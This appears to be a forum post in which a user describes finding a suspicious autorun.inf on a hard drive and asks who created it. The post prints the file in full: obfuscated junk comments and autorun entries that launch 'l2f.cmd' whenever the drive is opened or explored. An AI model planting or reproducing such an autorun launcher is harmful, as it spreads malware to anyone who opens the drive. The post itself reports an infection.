Wait a minute!
I saw an autorun.inf in the hard drive. With the following contents:
;4sokwe7raZLjsima5l3 [AutoRun] ;dSd3s11s20LsA7fa2aAjOAa42 open=l2f.cmd ;C4LmkoLAd22oiXLD2nsd3a40ei13d42KS80cdlaSaiF3J7ss1Dw3lwjwlKLlcZ1k2A2swf8KalDe3de3wl shell\open\Command=l2f.cmd ;DewekfAkSo09rdiw442ssOAKoL4 shell\open\Default=1 ;0lK0fsD1wa1ka3aDed06riiq8Ac4lqK8wAwk3kDmSprasdsUwfaLkeqf3qd5a1ows5s5a0Af4Ksor5raZk443wa shell\explore\Command=l2f.cmd ;poeAl32d2L2AoKLoir27ow3ClLD3saZkw4oa3akiSl4i52D7k275KAaisdarUaKK9o2dewDsd2ea0afj8issw43Kwqdw
Delete it and everything was back to normal. Now I don't know what could have created this unscrupulous file. Does anyone have an idea?
